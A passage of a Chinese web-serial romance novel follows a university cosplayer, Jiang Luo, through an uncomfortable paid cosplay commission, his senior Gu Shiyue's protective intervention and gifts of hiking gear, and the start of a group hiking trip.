也就是江洛那边看不到直播间的弹幕, 跟顾时越讲话简直是旁若无人, 弹幕还在刷屏, 对江洛口中的“学长”很是好奇,一直在问是谁。 不回答她们还能一直刷,程嘉树只能哼笑着回了一句:“你们还想他是谁啊?都叫学长了,那肯定就是学长呗。” “我言尽于此, 剩下的由当事人作答。”程嘉树对江洛说,“洛c老师,你惹的事你自己解决。” 江洛好像还在梦游:“……什么?” “我真服了。说这么半天你一句话没听进去……” 江洛还真没听进去,心思还停留在刚才那通电话里,他心虚地喝了口水,没吭声。 程嘉树说:“都在问那学长是谁,我说就是字面意义上的学长,她们不信,我说话不管用,你自己为自己花生吧。” 听到“学长”两个字江洛愣了片刻,又无意识地喝了口水,而后出神般地喃喃自语:“……就是学长啊。” 假期一晃而过,返校后的那一周江洛和顾时越没有碰过面。学校那么大,他们不同级又不同专业,除非主动联系对方,不然肯定不可能时时碰面。 江洛之前欠的债还没还完,他这周有个委托要接。 周六中午,江洛跟单主在约好的餐厅碰面。 江洛接委托到现在从来没接过男生的单,所以有个男生走到他这一桌的时候他还以为对方认错人了,有点茫然地看着对方。 “不是洛c老师吗?”那个男生笑着问他。 江洛有点惊讶:“你是‘牧牧’?” “是啊。”男生戴着黑框眼镜,个子高高的,穿得很休闲,看起来跟他差不多年纪。 江洛拿出手机看了看,对方的网名叫“牧牧”,又是动漫萌妹头像,而且说话也很有礼貌,线上完全看不出来是个男生。 江洛接委托不卡性别,毕竟他是男生,也不接乙游角色,没有什么不便之处,但他确实也没想到会遇到男单主。 “你是不是以为我是女生?”男生主动问他。 “是的。”江洛笑了下。 “怪我没主动报备。”男生拉开座椅坐了下来,“不过你的委托条里好像没有说不接男单主?” “嗯,对。” “那就没事了。”男生拿起茶壶往杯子倒了点水,抬眸盯着江洛看了片刻,“你本人比照片里帅。” 江洛不是那种被人夸会不好意思的性格,他这张脸从小到大被人夸得太多了,早就免疫,他淡淡一笑:“妆造的功劳。” “不是妆造。照片里看不出来,肉眼我还看不出来么。”男生笑了下,“更何况咱俩现在面对面离这么近。” 江洛第一次遇到男单主,还在逐渐适应中。 “你是不是有点不自在啊?”男生笑着推了下眼镜。 “是有点。”江洛坦诚道,“之前一直以为你是女生,突然变成男生了稍微有点转不过来。” “别不自在,慢慢转。” 江洛对着眼前这张男生脸有点叫不出“牧牧”这个名,他问对方:“我怎么称呼你?就叫‘牧牧’?” “你要是觉得别扭可以叫我齐牧,这是我本名。” “好。” “上次你国庆签售,我有事没能去,还挺遗憾的。”齐牧说,“以后还会办签售会吗?” “这个要看情况。” 齐牧拿手机扫了一下桌角的二维码,直接把自己的手机给江洛:“点菜吧。” 江洛忙推回去:“你点。” “好,那我点。”齐牧垂眼点菜,问江洛,“老师以后是不是不接委托了?” “对。” “那还挺可惜的。” 委托期间肯定不能脱离角色本身设定,江洛今天cos的人物性格偏稳重,他上皮后一直是角色状态,所以说话也一直是淡淡的,有点小高冷,不是他平时的样子。 齐牧温和健谈,又跟江洛有很多共同语言,两个人交流很融洽。 吃完午饭两人出发去动物园,行程都是之前就定好的,逛完动物园还要去游戏体验馆打游戏。 江洛曾经也是个玩打游戏的网瘾少年,打游戏是他强项,各种类型的都擅长。游戏体验馆是Switch游戏,他们玩了好几款游戏,全程都是江洛带着齐牧在玩,而且玩得很溜。 “你打游戏挺厉害。”齐牧转头看了江洛一眼,笑着说。 江洛看着电视屏幕,熟练地操作着游戏手柄,说:“打多了就熟练了。” “这些你都玩过?” “那倒没有,有几个是第一次玩。” “那还是你本身厉害。”齐牧盯着他看了会儿,忽然问,“上皮一天了,累吗?” “嗯?”江洛转头看他一眼。 “你本人性格是这样吗?” 江洛笑了下:“我要说‘不是’那就下皮了。” “所以不是?” “嗯,不是。”江洛看向屏幕,“我本人比较闹,没这么安静。” “浓人?” “啊。”江洛点了下头,“反正淡人跟我不沾边。” 齐牧笑了一声,低头看了眼手表,说:“我可以延长一下委托时间吗?” 江洛的委托时长一般是六小时,他的委托条上写了无特殊情况可以临时延长委托时间,最迟到晚上八点,按照延长的时间另外收费。 “可以。”江洛说,“你要延长到几点?” “你最晚也只到八点,可以再晚一点吗?”齐牧一脸真诚,“我想跟你再多打会儿游戏。” 江洛跟对方挺聊得来的,而且对方又是男生,他想着反正今天晚上没事,晚一点就晚一点吧。 “嗯,可以。不过最晚只能到九点。”江洛说。 “好。那等会儿我们先去吃个晚饭。”齐牧笑了笑,“还有,我觉得你可以下皮了。” “不了吧。”江洛煞有介事道,“我都端到现在了,不能功亏一篑。” 齐牧失笑:“你太逗了。” 中途趁着去洗手间的空当,江洛拿出手机看了一眼,刚才一直没看手机,他微信上多了好几条消息。 江洛一眼看到顾时越的消息,立马点进去看了一眼。 顾时越:今天要晚回来,帮我去看看猫。 这条消息是十分钟前发来的,江洛但凡早一点看到都不会延长委托时间到九点了,现在都已经跟单主说好了,肯定不能反悔。 江洛:学长,我今天晚上有点事,结束了我就去看棉团,不过可能会有点晚。 顾时越:晚了就别去了,不用跑一趟。 江洛:不麻烦,我结束了就过去! 顾时越八点半到家,自动喂食机里的猫粮已经被棉团吃完了,但是家里没有江洛来过的痕迹。江洛每次来都会把猫砂盆收拾干净,还会把棉团的玩具都归置到一起,今天晚上他显然没来。 以江洛的性子,说事情结束了会过来就一定会过来,他没过来那就说明他那边事情还没结束。 什么事要弄到这个点…… 顾时越发了条消息给他:还没结束? 江洛没回消息,顾时越直接打了通电话过去。江洛正跟齐牧打游戏,放在小桌上的手机突然响起一阵震动声。 江洛说:“不好意思,我接个电话。” “没事。” 江洛拿起手机走出了小单间,看到屏幕上的来电显示愣了愣,他走到游戏馆外面,在走廊转角处接通了电话。 “喂?学长?” “还在忙?” “算……是吧。”江洛用手指抠了抠墙面,他挺多天没听到顾时越的声音了,突然听到,不知道为什么心里有点麻麻的。 “什么叫算是。什么事到现在还没忙完,你还没回学校?” “嗯,我还在外面呢,你已经到家了?” “你在外面干什么?” “我今天接了委托,还没结束。” 顾时越皱了下眉,沉默了片刻再开口时声音变得有点沉:“什么委托需要你接到现在?” “因为临时延长了时间,所以弄得有点晚了,我那时候没看到你消息,不然我就不延那么晚了。” “延到什么时候?” “九点。” “你怎么不延到明天早上九点。” 江洛一愣,张了张嘴:“我……” “你想么?”顾时越紧接着问。 “我不想!”江洛立马否认,顾时越语气很平静,但江洛不知道为什么被他问得心惊肉跳的,好像自己干了什么坏事似的,而且他也不知道顾时越为什么突然会这么问,好奇怪的问题。 “现在在哪儿?”顾时越又问。 江洛报了个游戏体验馆的名字。 接完电话江洛就回去了,坐在小沙发上的齐牧转头看向门口:“差点以为你不回来了。” 最后半小时江洛依旧敬业,完美结束了这次委托。 游戏体验馆在一栋几乎废弃的商业大楼里,这边虽然是市中心,但因为露天商场不占优势,所以近几年人流量越来越少,基本上所有商铺都关门了,只有这家游戏体验馆和几家老字号餐馆还存活着。 商场外面是一大片空地,稀稀拉拉停着几辆车,很空旷。大楼周边并不萧条,马路对面就是新开的封密闭商场,路上车水马龙,人流熙熙攘攘。 江洛和齐牧下了扶梯走出商场,齐牧停下脚步,转头看了江洛一眼,问:“走之前可以抱一下吗?” 江洛接委托唯一可以接受的肢体接触就是拥抱,之前的单主在委托结束之时基本都会提这个要求。 就是简单抱一下。 对委托他出角色的单主来说,这算是一个对自己所爱的角色的告别,是美好的,是纯粹的。 “可以。”江洛笑了笑。 齐牧走上前,两人张开双臂抱了一下,这对江洛来说就是个简简单单的拥抱,他刚要松手,下一秒忽然被齐牧抱紧了。 江洛直接愣住了。 齐牧闭上眼睛没说话,他那么用力地抱着江洛,鼻息近在江洛耳侧。江洛眉头皱了皱,反应过来后立马下意识想挣开他。 就在这时,身后突然出现一只手,直接抓着齐牧的肩膀把他一把推开了。 等江洛反应过来的时候,他已经被顾时越拽到了身边。 “学长……”江洛飞快地眨着眼睛,像受到了惊吓。 顾时越冷着脸,一言不发地看着面前的齐牧。 第23章 “想干什么。”顾时越冷着声音问齐牧。 “我……”齐牧顿了顿, “没有想干什么。” 江洛是第一次看到顾时越那么明显的冷脸,下颌线绷得紧紧的,连侧脸都透着压迫感。 顾时越拽着江洛的手腕, 视线转移到江洛脸上。 “结束了吗?”顾时越问他, “你的委托。” 江洛怔愣片刻,点了点头:“……嗯。” 顾时越松开了江洛的手腕,表情还是有点冷,但语气很平静:“你该回去了。” 江洛点点头, 顾时越转身往车停的方向走,江洛跟上他, 听到身后齐牧说了一句“抱歉”。 江洛没回头。 刚才那种程度的拥抱本质是很越界的行为, 他第一次遇到这种情况, 多少有点膈应。而且这个单主一整天下来给他的印象很好,他完全没想到对方会突然这么没分寸, 刚才一下子都没反应过来。 不过让江洛更没反应过来的是顾时越的突然出现, 顾时越问完他在哪儿就没再回消息, 他都不知道顾时越是什么时候过来的。 顾时越一声不吭地走在前面,表情已经没有刚才那么冷了,虽然脸上看不出任何情绪,但江洛还是敏锐地感觉到他好像在生气。 顾时越走到车旁, 帮江洛打开副驾的车门。 江洛坐进了车里, 从没见过顾时越这个状态, 连大气都不敢喘一下。他甚至有点紧张, 紧张到忘记系安全带。 顾时越上车后转头看了江洛一眼,江洛眼睛一眨不眨地看着他,两只手搭在膝盖上,乖巧而僵硬地坐在那儿。 顾时越看了他片刻, 没有口头提醒,而是直接倾身过来帮他系安全带。江洛惊了一下,下意识往后一靠。他后背紧贴着座椅,看着顾时越近在咫尺的脸庞,呼吸都屏住了。 前后不过几秒的工夫,江洛回过神时安全带已经绑他身上了,但是顾时越还没坐回去,他的手指搭在安全带的卡扣上,近距离地看着江洛。 车灯还没暗下来,江洛睫毛轻颤,在脸上落下两片浅浅的阴影。 他今天的cos装扮偏日常,妆容和发型也不夸张,戴了有颜色的美瞳,不及他的原生眼睛漂亮。 江洛的呼吸很轻,嘴唇抿得紧紧的,他从刚才到现在一直是这个紧绷的状态。 顾时越看得出来,江洛这个状态是因他而起。 “为什么这么慌。”顾时越问他,“怕我?” 江洛立马摇头。 顾时越盯着他看了一会儿,随后坐了回去,启动了车子。 江洛小声问了一句:“学长,你……是不是在生气?” 顾时越没说话。 “你是生我的气么?”江洛又问。 “没有。”顾时越说。 江洛其实不知道顾时越为什么会生气,但他会下意识去哄:“可是你看起来不太高兴……” 顾时越沉默了一会儿才开口,声音很沉:“跟陌生人在一起不知道留个心眼么,对谁都这么没防备心?” 江洛恍然大悟,原来是因为这个不高兴,他跟顾时越说:“我也是第一次碰到这种情况,我以后一定当心。” “以后?”顾时越眯了下眼睛。 “怎么……了吗?”江洛声音低低的,脑子钝钝的。 顾时越没再说话,车内安静得可怕,江洛不知道自己是说错了什么,他转头看了顾时越:“学长,你——” 顾时越打断了他:“为什么抱他。” 江洛愣了愣,解释说:“就是抱一下道个别……” “道个别需要拥抱?”顾时越目视前方,语气没有什么起伏,“你接个委托,是别人让你干什么,你就干什么,是吗。” 江洛摇头:“我没有……我……不是你想的那样。” 江洛有点着急,他想解释,但语言系统突然变得很混乱,他怕顾时越误会,以为自己接委托会干什么不正经的事。 越急越说不出一句完整的话来,江洛眉毛拧了起来:“我没有那样的……” 他急得声线都有点不稳,顾时越转头看了他一眼,江洛那张漂亮的脸蛋已经皱成了个小苦瓜。 顾时越自然知道具体情况不会是他说的那样,他这么逼问江洛纯粹是因为没有收住情绪。 车在红绿灯路口缓缓停下,顾时越说了一句:“我知道了。” 江洛还在跟他解释:“我跟单主最多最多就是委托结束的时候抱一下……不会有其他肢体接触的。我以前和你说过的,我接委托不是做什么不正经的事。” 顾时越“嗯”了声:“我知道。” 顾时越不喜欢江洛接委托,但他没有立场干涉江洛。他没再说话,沉默可以控住情绪。 顾时越把江洛送到了校门口,江洛解开安全带说了声“谢谢学长”,顾时越没说什么,他刚才几乎沉默了一路,虽然他本来话就不多。 “……我走了,学长。”江洛打开车门,“拜拜。” “嗯。” 江洛坐在车里,手搭在门把上,没有立刻下车。安静了片刻,江洛嗫嚅道:“……学长。” 顾时越转头看向他。 对上顾时越的目光,江洛垂下了眼睛,手指在门把上轻轻抠了抠。 顾时越没说话,等他开口。 江洛犹豫了一会儿才重新抬起眼皮看着顾时越,手指已经转移到了自己腿上,又在裤子上抠啊抠的。 上次跟顾时越见面还是在国庆,已经过去快十天了,两个人难得碰一面结果氛围还不太愉快。一想到这次之后还不知道什么时候才能再联系上,江洛主动问顾时越:“学长……明天要喂猫猫么?” 顾时越明天和他朋友去徒步,但不会太晚回来,理论上不需要江洛过去喂猫。 顾时越先是没说话,而后“嗯”了一声。 江洛眼睛都亮了:“好的!” “以后我无偿给你喂猫,你有需要就嘀嘀我。”江洛下了车,语气变得很轻快,“拜拜学长,开车慢点。” 第二天下午,江洛下班后直接从咖啡店去了顾时越家。 一进门江洛就在玄关的置物台上看到了张纸条,上面留了字——【冰箱里有蛋糕。——顾时越】 顾时越的字很漂亮,江洛拿起字条细细欣赏了一下,越看越觉得赏心悦目。 脑子里忽然浮现出顾时越那张英俊的脸,江洛心想字如其人大概就是这样吧。 他把纸条小心地折好,放进了自己的外套口袋。 江洛打开厨房冰箱看了一眼,看到了一盒巧克力蛋糕。顾时越的冰箱里除了蔬菜生鲜就是矿泉水,东西摆放得整整齐齐,那盒小小的蛋糕在里面显得很突兀。 江洛心里软乎乎的,忍不住打开手机微信,给顾时越发了个小狗大哭的表情包。 顾时越应该是有事,没有回消息。 棉团好久没见江洛,还是很亲他。江洛带它散完步回来准备撤退的时候,它还“喵呜喵呜”地跟到门口来。 江洛坐在玄关穿鞋,棉团在他腿边蹭来蹭去,喵喵叫着。 这谁能受得住? 江洛鞋还没穿好,弯腰把棉团抱了起来,脸埋进棉团脖子里一顿猛吸。 “嘀”的一声响,门从外面打开了,顾时越一开门就目睹了江洛吸猫的画面。 江洛动作一顿,倏地抬起脸,跟门外的顾时越大眼瞪小眼,额前翘起来的头发上还沾着几根白色的猫毛。 江洛赶紧把猫放下来:“学长你怎么这么早就回来了。” 顾时越走进来:“我没说过会晚回来。” 顾时越穿着一身黑色冲锋衣,背着登山包,拎着登山杖,显然是刚结束完户外运动。江洛第一次见他时他就穿这样一身,又酷又帅。 棉团蹭到顾时越脚边来,顾时越垂眸看了它一眼。 “你去爬山了吗?”江洛问他。 “徒步。” 江洛笑了笑:“我还没体验过,感觉应该很有意思。” “想去吗?” 江洛一愣:“昂?” “下周我还会去,想去就跟我一起。”顾时越换鞋进屋,两个人面对面站着。 江洛明显在犹豫,顾时越挑眉:“不想去?” 江洛赶紧说:“想的,就是……我没有徒步装备……” 别说登山杖这些,江洛连正儿八经的徒步冲锋衣和登山鞋都没有。 “用我的。” “不用了不用了,我用了你的你用什么,我还是不去了。” “我不止一套。” “啊……”江洛点了点头,颇为老实地问顾时越,“那学长,我可以穿普通的运动服去吗?我没有那种户外运动专门穿的衣服。” “穿我的。”顾时越说。 “……啊?”江洛愣住了。 顾时越绕开他往里走,江洛还杵在原地发愣,顾时越回头看向他,说:“过来。” “……哦。”江洛拖鞋也没穿,直接光着脚跟过去了,也不算完全光着,他脚上还穿着白色的运动袜。 江洛跟着顾时越走进了一间巨大的衣帽间,顾时越从柜子里拿出一套新的冲锋衣,转身递给江洛的时候,发现他没穿鞋。 顾时越家的地板干净得都反光,但光脚踩地肯定凉。 “怎么不穿鞋。”顾时越说。 江洛低头一看,不好意思地笑了笑:“忘了。” 顾时越把衣服给他,说“试一下”,然后出去了。 这是一整套户外运动服,连里面穿的速干衣都有,都是全新没穿过的。江洛展开速干衣贴着身体比划了一下,顾时越比他高,衣服尺码自然比他大,速干衣的袖子有点长。 顾时越回来时手里拎着一双拖鞋,走过来扔在江洛面前:“鞋穿上。” 江洛乖乖穿上拖鞋。 “衣服还没试?”顾时越瞥了一眼他手里的外套。 “这就试。”江洛套上冲锋衣,衣服松松垮垮地挂在他身上,袖子长得把他的手都遮住了。 虽然是全新的,但衣服上有顾时越的气味,那股淡而香的味道。江洛手指从袖子里伸出来,低下头拉拉链,链扣好像是被布料卡住了,怎么拉都拉不上来。 江洛吃奶的劲都使出来了,捣鼓半天拉链还是纹丝不动。 顾时越走到江洛面前,直接拨开了他的手。 江洛动作一顿,人也顿住了,呆立在原地。 顾时越抓住拉链摁着链扣使了下劲,轻轻松松就把拉链拉动了,他一下子把拉链拉到最顶端,因为惯性,衣领顺着劲被往上一提,江洛不由得朝顾时越那边靠了一下,直接跟他脸对脸。 两人四目相对,鼻息交错。 江洛仰着脸,微微睁大了眼睛,耳朵肉眼可见地变红了。 顾时越没有松开手,垂眸看着他:“穿着合适吗?” 明知故问的问题。 江洛垂下眼去,睫毛颤得厉害:“有……有点大。”- 作者有话说: 明天还是中午十二点更~ 第24章 顾时越没有说话, 也没有松开手,屋里静得落针可闻。 江洛垂着眼,不知道为什么, 不敢跟顾时越对视。他磕磕巴巴地说:“没、没事, 稍微大点也可……可以穿的。” 江洛的耳朵已经红透了,他皮肤白,肤色有一点变化都很明显,那点红从耳根蔓延到后颈, 没有衣领遮挡便是一览无余。 屋里响起很轻的脚步声,棉团扭着屁股从外面走进来, 它磨蹭过来往两人腿间一钻, 站在两个人中间仰起头嗲声嗲气地叫了一声。 老猫咪将两个人隔开了, 也打破了眼下微妙的气氛。 顾时越垂眼看向他,棉团就地一趴, 敦敦实实地压在了江洛脚背上, 抬起爪子舔了舔。 江洛往后退了一下, 顾时越的手也松开了。回归到正常的社交距离,江洛一直僵着的身体终于放松了下来,他抬起手飞快地蹭了一下发烫的耳朵。 眼下这个氛围实在是有些奇怪,江洛觉得他自己更是奇怪, 不知道在慌张什么, 他迅速脱下外套随手叠了一下放在旁边的座椅上, 跟顾时越说:“学长, 我、我马上还要去家教,那个,我先走了。” 江洛说罢转身就走。 “蛋糕吃了没有?”顾时越问他。 “没、没有。”江洛脚步一顿,“我打算带回去吃来着。” “嗯, 别忘了拿。” 江洛赶紧去厨房冰箱拿了蛋糕,关上冰箱门一回头顾时越就站在厨房门口。 “送你。”顾时越说。 江洛赶紧说:“不、不用!不远的。” “不着急?” “不着急。”江洛摇头。 顾时越双手抱臂,往门框上一倚:“我看你很急。” “没……没有啊。”江洛声音渐低,“我就是想提早一点去。” “嗯。”顾时越点头,“去吧。” 江洛如蒙大赦,飞快地走到玄关,飞快地穿上鞋,飞快地开门出去了。 江洛慌出一身热气,出门后深呼了口气。电梯就在旁边,他走过去按了一下按钮,随后呆呆地看着墙上亮起的楼层指示灯。 “叮”的一声,灯亮门开,江洛恍然回神。 江洛先回了趟学校,把蛋糕放宿舍后才出发去学生家。他辅导的是个高中生,男孩,刚上高一,家里条件很好,是个十足的小少爷。小少爷跟江晨一样大,江洛看他总会带点哥哥的心态。不过他跟江晨完全是两款截然不同的高中生,性格很外向,是个话痨,有时候话多得江洛都招架不住。 小话痨做题的间隙江洛看了眼手机,他本来是想看时间,结果瞄到了顾时越的微信消息:家教什么时候结束? 一般家教期间,非特殊情况江洛不会碰手机,得空也很少碰。今天情况好像是特殊,他拿起手机迅速回了下顾时越的消息。 江洛:九点 顾时越:在哪儿家教? 江洛:怎么啦? 顾时越:定位 江洛也不能跟顾时越多聊,就直接发了个定位过去。 刚放下手机,旁边小少爷就出了个声:“你是不是谈恋爱了啊哥?” 江洛转头看了他一眼,小少爷勾着嘴角,笑得坏坏的。 “脑袋里都是些什么乱七八糟的。”江洛失笑,“好好做你的题。” “做着呢。”小少爷回过头去看下一道题,“这不是头一回见你辅导我的时候玩手机么,有点稀罕。” “我就回个消息。” “回女朋友消息?” “不是。”江洛拿笔帽在他脑袋上轻轻戳了一下,“小小年纪怎么这么八卦。” “就是小小年纪才八卦呢,我这个年纪八卦不是很正常。”小少爷转头看他一眼,笑眯眯地问,“我烦人吧?” 江洛“啊”了一声:“烦人。” 小少爷乐了:“你弟不烦人么,我们这个年纪都烦人。” 江洛跟他提过家里有个跟他一样大的弟弟,江洛说:“我弟不烦人,比你乖多了。” 小少爷“啧”了一声,挑了挑眉问:“那有我帅么?” 小少爷长得是挺帅的,不然也没自信问这个,江洛被他逗笑了:“不好说。” “直言即可。” 江洛一碗水端得很平:“都帅,不是一个类型的帅。” “端水大师啊。”小少爷转了下笔,知道江洛还是谦虚了,他弟帅不帅看他这个哥哥的颜值就知道了,“下次带他来给我看看。” “在老家呢,带不来。” “不就坐个高铁的事儿。” “有机会再说。”话题又扯远,江洛赶紧拉回来,“好了好了,你专心做题吧小祖宗。” 小少爷家住的是别墅,辅导结束后,小少爷照例送江洛到门口,这是他妈妈要求的,小少爷本身也跟江洛关系很好,跟他有聊不完的话,送江洛去门口的路上他就能从天南聊到地北。 江洛暗自失笑,心想他要是真跟江晨见了面,就江晨那个小闷葫芦,得被这小话痨烦成什么样啊。 小少爷按了下墙上的开关,自动铁门缓缓打开,门口不远处停着一辆车,大门打开的瞬间,副驾走下一位中年男士,西装革履,身姿挺拔。 江洛眼看着那人朝自己走来,在他面前两米处停下,询问道:“请问是江洛先生吗?” 江洛有点茫然地点了点头。 对方微微欠了下身子:“您好,江先生,我是顾时越先生家的管家,是来接您的。” 江洛愣愣的:“管……管家?接我?” “是的。”管家稍稍点头,“我负责送您回学校。” 这边是高档别墅区,安保很严,外来车辆不可能随意进出,除非本身就是业主,在这边有房产。 小少爷转头看了江洛一眼:“……哥,你不会是来体验生活的吧?” 江洛说:“……不是。” 小少爷看管家一眼,心存警惕,拉了江洛一下:“等等哥,你先别走。”他小声嘀咕了一句:“不会是骗子吧……” 管家直接拿出手机双手递交到江洛面前,给江洛看他和顾时越的微信消息,证明完自己的身份,管家问:“江先生还有什么其他问题吗?需不需要我给顾先生打一通电话?” 江洛立马摇头:“不用。” “好的。”管家收回手机,“那请上车吧。” 司机帮江洛打开车门,江洛坐进了后座,发现座椅上放着三个很大的购物袋。 管家坐上车,回头道:“江先生是直接回学校吗?还是有别的去处?” 江洛人还是懵的:“……我回学校。” “好的。”管家看了一眼座椅上的购物袋,说:“这些是顾先生交代我为您准备的户外运动装备。” 江洛愣了一下。 “您回去试一下是否合身,不合身可以直接联系我。”管家递给他一张名片,“这上面有我的联系方式。” “这些……可以退回去吗?”江洛问,“学……顾先生那边,麻烦你跟他说一下。” “很抱歉,没办法退。”管家道,“这些是按您的尺码专门购置的,顾先生说你要是觉得不合适,可以直接联系他跟他说。” 江洛抿了抿嘴,只得接过管家手里的名片:“……那好吧。谢谢,麻烦你了。” 管家微微一笑:“应该的。” 管家这趟过来主要是给江洛送东西的,顺便送他回学校。登记之后汽车直接驶进了学校,把江洛送到了宿舍楼底下。 管家下车想帮江洛把购物袋拎上楼,江洛忙说:“不用不用,我一个人可以拿。” 管家也没跟他争,欠身道:“好,那我先走了。您有需要可以直接联系我。” 江洛也向他欠了欠身子:“麻烦你了。” “您客气了,这都是我应该做的。” 江洛拎着大包小包进了宿舍,床铺离门口最近的室友“哇噻”了一声:“你去商场了啊?买这么多东西?” 江洛含糊地“唔”了一声,拎着购物袋走到自己的座位。 室友一眼就看到了购物袋上的logo,都是名牌,户外品牌里的高档货,价格不便宜。 室友感叹了一句:“这么豪横,都是大牌子啊。” 另一个人道:“开玩笑,咱洛洛好歹是个网络名人,这点财力还能没有?” 这话江洛不知道该怎么接,他就算有这个财力也不舍得买这些大牌,他有钱都给江晨存着了,对自己抠得很。 江洛坐在椅子上,双手捧着手机,眼睛直直地盯着屏幕。 他到现在还没给顾时越发过消息,刚才在顾时越家试衣服的时候那么尴尬,又匆匆忙忙地离开,他都不知道自己是怎么了,到现在还是觉得有点尴尬。 或者说,应该不是尴尬,而是一种难以名状的心虚。 江洛脑子里弯弯绕绕的思绪缠成一团,剪不断理还乱,手机突然震动起来,把他吓了一跳。 看到来电显示,江洛捧着手机倏地坐直了。 他点了下屏幕,接通了电话:“学……学长。” “衣服试了吗?”顾时越在电话那头问。 “还……没,我马上就试。” “嗯。” “那学长……我先挂电话了。” “不用挂。”顾时越说,“现在就试,试完跟我说。” “……嗯,好。”江洛把手机放在桌上,打开购物袋看了眼,里面是一整套户外运动装,另一个袋子里装的是登山鞋。 江洛把衣服和鞋子都穿上,因为手机还通着话,看着屏幕上顾时越的名字,江洛有种顾时越就在眼前看他换衣服的错乱感。 脑子里闪过之前在顾时越家试衣服的画面,江洛换着衣服耳朵莫名又红了,换好之后磨磨蹭蹭地拿起手机,贴到耳边,开口声音竟然有点发哑:“学……学长,我换好了。” “嗯。”顾时越靠在床上看书,手机开着免提放在床头,他看着书上的内容,问江洛,“衣服和鞋子合适吗?” “合……合适。” “嗓子怎么了,声音这么哑。” 江洛清了清嗓子:“没……有啊。” “是吗。”顾时越往后翻了一页,随口说了一句,“我现在不在你身边,也没看着你,试个衣服还觉得不自在?” 江洛一愣,随即低下头去,他把外套拉链拉到了最顶端,鼻尖顶在领口上,声音闷在衣服里:“我……我没……没有……” “没有?”顾时越挑了下眉,“都成小结巴了。” 第25章 江洛本来只是有点结巴, 被顾时越点破之后就彻底成小结巴了:“我、我……没、没有、没有……不自在。” 说完负气地拧了一下自己的嘴巴,心道江洛你什么毛病啊。 宿舍有人在,江洛拿着手机去了阳台, 天气转凉, 室外刮着冷风,江洛脸颊发烫,吹着冷风物理降温。冲锋衣保温效果太好,他都出汗了。 顾时越在电话那头一直没声音, 江洛小声道:“……学长?” 顾时越应了声:“嗯。” “你怎么……不说话啊?” “给你缓的时间。” 江洛揉揉脸颊,安静了一会儿, 转移话题道:“……你在干什么呢?” “看书。”顾时越问他, “缓好了?” 话题似乎没有转移成功, 江洛拉了拉耳垂,已然自暴自弃:“我也不知道。” 之前那种情况江洛不自在是肯定的, 正常两个男生帮忙穿衣服哪可能会那样, 那完全超过了正常的社交距离。 顾时越心知肚明。 “看样子是缓好了。”顾时越开口道, “不结巴了。” 江洛垂眼笑笑,拉着耳朵咕哝道:“我不是小结巴,我小嘴叭叭挺能说呢。” 顾时越目光落在书页上,无声地笑笑。 “学长。”江洛低头看了看自己这一身衣服, “能跟你商量个事么?” “嗯, 说。” “你给我买的这些户外装备……可以退掉么?”江洛说完赶紧解释, “我不是不喜欢, 我只是觉得有点贵,或者我把钱转给你……不能白拿你的。” “这些已经抵扣掉你无偿喂猫的费用,不是白拿。”顾时越说,“除非你不来帮我喂猫。” 顾时越精准拿捏江洛心理, 江洛闻言立马道:“我来我来,我可以一直给你喂猫。” 顾时越微微挑眉,问道:“一直是多久?” “只要你需要我……”话音未落,江洛忽然噤了声,没再继续说下去。 这个话说得也太奇怪了。 顾时越搭在书脊上的手指动了一下,侧头看向旁边的手机,他“嗯”了一声,说:“记得你今天说的话。” 江洛脑子还没反应过来,就听到顾时越说:“早点睡。挂了。” 这周末的徒步之行定在周六上午,顾时越提前几天就跟江洛说了。他们约在校门口碰面,江洛走出校门的时候,看到不远处停着一辆商务车,那辆车喇叭响了一下,随后后门自动打开了。 江洛走了过去,这次徒步不是只有他跟顾时越两个人,车里坐了五个人,顾时越坐在最后排,旁边的位置空着。江洛背着包站在车门口,一车人的目光都落在他身上。 项勤也在,他坐在顾时越前面。顾时越只说这次要带个人,没说是谁,项勤就猜是江洛,所以看到江洛也没多意外,笑着跟他打了声招呼:“好久不见了学弟。” 江洛笑了笑:“好久不见学长。” “嗯哼?你也认识啊?”坐在项勤旁边戴着鸭舌帽的男生看了他一眼。 “认识。”项勤说。 江洛往后座看了一眼,撞上顾时越的目光,他迅速垂下眼,而后听见顾时越说:“上来。” 江洛上了车,车里非常宽敞,他在顾时越旁边空着的位置前停了一下,没有立刻入座。他没想到过了一礼拜,见了顾时越本人还是会有点尴尬。 顾时越似乎看透他:“还想坐哪儿。” 江洛嘴唇微动,背着包在他旁边坐下,叫了声“学长”。 前座几个人转头往后看着,顾时越跟他们介绍了一下:“江洛。” 江洛冲他们礼貌地笑笑:“你们好。” 顾时越也跟江洛介绍了一下车上这几个人,介绍得很简单,就报了一圈名字。 开车的和坐副驾的那两位是顾时越和项勤的直系师兄,现在已经毕业工作了。 坐副驾的叫姚知清,戴一副细框眼镜笑得很亲和,他看了顾时越一眼:“你说你要带个人的时候我还寻思你带的是对象,没想到是一小帅哥。” 项勤眯起眼睛笑了下:“这话说的,带个小姑娘就一定是对象了?再说小帅哥怎么就不能是对象了,歧视同性恋啊。” 姚知清轻笑出声:“哎哟我天你可悠着点说话吧,当心阿越抽你。” 项勤笑而不语。 江洛笑得脸有点僵,这都什么跟什么。 “师弟大几了?”姚知清问他。 “大二。” “长得真年轻啊。” 项勤笑了:“你这话说的,人家才大二,本来就年轻。” “我是说他长得显小,我刚看他走过来还以为是高中生,这脸长得太嫩了。” 开车的叫严炀,这个月份还穿着T恤,握着方向盘胳膊上的肌肉很显。他嘴里嚼着口香糖,没怎么说话。 坐项勤旁边戴着鸭舌帽的那个男生叫夏毅,他以前跟顾时越、项勤是一个学院的,三个人大一是同学。夏毅是他们专业夏教授的儿子,高考迫于压力选了他爸给他安排的路,上了一年最终还是转去了自己喜欢的专业,还是先斩后奏,差点把他爸气进医院。他现在的专业在另一个校区,不常跟顾时越他们见面。夏毅比他俩小一岁,性格也挺孩子气的,比较闹腾。 夏毅坐在江洛前面,转过头跟他说话:“哈喽学弟。” 江洛笑了下:“哈喽。” “长得真帅啊你,美少年啊简直。”夏毅很自来熟,夸江洛也是直截了当,他问江洛:“这是不是你第一次徒步啊?” 江洛点点头:“对。” “难怪,我说阿越这次怎么选了个又短又简单的路线。”夏毅盯着江洛的脸看了又看,“嘶”了一声,“学弟,我总感觉看你有点眼熟,你不会是演过什么电视吧?” 江洛失笑:“当然没有。” 旁边项勤闻言笑了一声:“眼熟是因为你见过他。” 夏毅转头看他一眼:“what?” “上次阿越见的那个coser,银头发,白衬衫,没印象了?” 夏毅猛地看向江洛:“原来是你啊!我说看着那么眼熟呢!” 江洛想起来了,他跟顾时越第一次见面的时候,当时窗外停着一辆商务车,车里大概就坐着这几位。 